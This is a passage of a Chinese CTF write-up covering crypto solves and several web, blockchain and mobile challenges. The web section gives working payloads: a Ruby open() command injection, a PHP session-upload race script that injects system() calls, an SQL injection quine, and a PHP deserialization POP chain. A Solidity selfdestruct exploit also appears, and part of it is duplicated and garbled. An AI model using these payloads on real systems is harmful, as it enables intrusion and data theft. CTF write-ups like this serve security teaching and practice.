cipher = AES.new(key, AES.MODE_ECB)
m = cipher.decrypt(c4)
print(m)
q, g, h = [eval(x) for x in ss[8].split()]
c1, c2 = [eval(x) for x in ss[9].split()]
gg = rc.predict_randrange(q-1)
print(g == gg)
x = rc.predict_randrange(q-1)
y = rc.predict_randrange(q-1)
s = pow(g, x*y, q)
m5 = c2 * inverse(s, q) % q
print(long_to_bytes(m5))
# Make666GreatAgain_University
finexp.py
from hashlib import sha256
name = b'xiaoMing'
phone = b'14115102907'
mail = b'xiaoMing@amail.com'
address = b'No.123_doge_road'
school = b'Make666GreatAgain_University'
flag = 'flag{'+sha256(name).hexdigest()[:8]+'-'+sha256(phone).hexdigest()[:4]+'-'+sha256(mail).hexdigest()[:4]+'-'+sha256(address).hexdigest()[:4]+'-'+sha256(school).hexdigest()[:12]+'}'
print(flag)
##flag{073fa53e-4246-dd1d-54a0-0c268444ad09}
数据安全
sqlite3
WEB
PNG图片转换器
考点:Ruby open rce
文章:https://blog.heroku.com/identifying-ruby-ftp-cve
文章中提供了一种命令执行的方式
/convert路由刚好满足了条件,直接利用即可。不过要注意的是要以.png结尾,这里可以直接把内容输
入到aatao.png;不能用 / 和 .. 不过可以用Linux下的环境变量构造出来
读取根目录文件内容
|ls+`echo+$PATH|cut+-c+1`+>aatao.png
接着读取aatao.png内容,base64解码即可
接着读取/FLA9_KywXAv78LbopbpBDuWsm的内容
查看aatao.png的内容
EasyCleanup
考点:session文件包含
日常考点,直接上脚本
import io
import requests
import threading
sess_id = 'Atao'
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 128)
session.post(url='http://114.115.134.72:32770/',
data={'PHP_SESSION_UPLOAD_PROGRESS': 'aaaaasdasdasd<?php
system("cat /flag_is_here_not_are_but_you_find")?>'},
files={'file': ('atao.txt',f)},
cookies={'PHPSESSID': sess_id}
)
if __name__=="__main__":
event = threading.Event()
session = requests.session()
for i in range(1,80):
threading.Thread(target=write,args=(session,)).start()
接着访问:http://114.115.134.72:32770/?file=/tmp/sess_Atao即可
yet_another_mysql_injection
考点:构造一个select返回的内容与$_POST['password']相同即可
参考文章:https://www.shysecurity.com/post/20140705-SQLi-Quine
这里俺是模仿出来的文章的Payload写的
'union/**/select/**/REPLACE(REPLACE('"union/**/select/**/REPLACE(REPLACE("^",CHA
R(34),CHAR(39)),CHAR(94),"^")AS/**/atao#',CHAR(34),CHAR(39)),CHAR(94),'"union/**
/select/**/REPLACE(REPLACE("^",CHAR(34),CHAR(39)),CHAR(94),"^")AS/**/atao#')AS/*
*/atao#
主要是利用REPLACE替换函数将内容换成来完成$_POST['password']==$row['password']
"union/**/select/**/REPLACE(REPLACE("^",CHAR(34),CHAR(39)),CHAR(94),"^")AS/**/at
ao#
第一次REPLACE
'union/**/select/**/REPLACE(REPLACE('^',CHAR(34),CHAR(39)),CHAR(94),'^')AS/**/at
ao#
第二次REPLACE
'union/**/select/**/REPLACE(REPLACE('"union/**/select/**/REPLACE(REPLACE("^",CHA
R(34),CHAR(39)),CHAR(94),"^")AS/**/atao#',CHAR(34),CHAR(39)),CHAR(94),'"union/**
/select/**/REPLACE(REPLACE("^",CHAR(34),CHAR(39)),CHAR(94),"^")AS/**/atao#')AS/*
*/atao#
WebFTP
找源码:https://github.com/wifeat/WebFTP
在phpinfo中找到flag,感觉为非预期:
pklovecloud
考点:构造POP链
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct($cinder){
$this->nova = &$this->neutron;
$this->cinder = $cinder;
}
}
class ace
{
public $filename = "flag.php";
public $openstack;
public $docker;
function __construct($docker){
$this->docker = $docker;
}
}
echo urlencode(serialize(new acp(new ace(serialize(new acp(""))))));
记得url编码一下,再查看源码可以看到flag
view-source:http://122.112.141.64:45852/?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A68%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BR%3A3%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BR%3A6%3B%7D
区块链(赛后)
CallBox
paradigm-ctf babysandbox
原题给了源码 这个没给,逆完了是⼀样的:
pragma solidity 0.7.0;
contract Receiver {
fallback() external {
assembly {
// hardcode the Destroyer's address here before deploying Receiver
switch call(gas(), 0xE29D3BfAB1e1B1824a0F2B5f186E97B7f8f06F7D, 0x00, 0x00, 0x00, 0x00,
0x00)
case 0 {
return(0x00, 0x00)
}
case 1 {
selfdestruct(0)
}
}
}
}
pragma solidity 0.7.0;
contract Dummy {
pragma solidity 0.7.0;
contract Receiver {
fallback() external {
assembly {
// hardcode the Destroyer's address here before deploying Receiver
switch call(gas(), 0xE29D3BfAB1e1B1824a0F2B5f186E97B7f8f06F7D, 0x00, 0x00, 0x00, 0x00,
0x00)
case 0 {
return(0x00, 0x00)
}
case 1 {
selfdestruct(0)
}
}
}
}
pragma solidity 0.7.0;
contract Dummy {
fallback() external {
selfdestruct(address(0));
}
}
msg.data:0xc24fe9500000000000000000000000008B62B35DB8D278f463D89EBb54E5fE9f6A5305c4
MOBILE
uniapp(赛后)
看起来是个chacha20,直接⽤它js现成的解密函数解就⾏
密⽂p = [34, 69, 86, 242, 93, 72, 134, 226, 42, 138, 112, 56, 189, 53, 77, 178, 223, 76, 78, 221, 63, 40, 86, 231,
121, 29, 154, 189, 204, 243, 205, 44, 141, 100, 13, 164, 35, 123]
⼏个参数
i = new Uint8Array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27,
28, 29, 30, 31])
a = new Uint8Array([0, 0, 0, 0, 0, 0, 0, 74, 0, 0, 0, 0])
s = 1
f= new r(i,a,s)
c = new Uint8Array(p)
f.decrypt(c)
最后再异或102拿到flag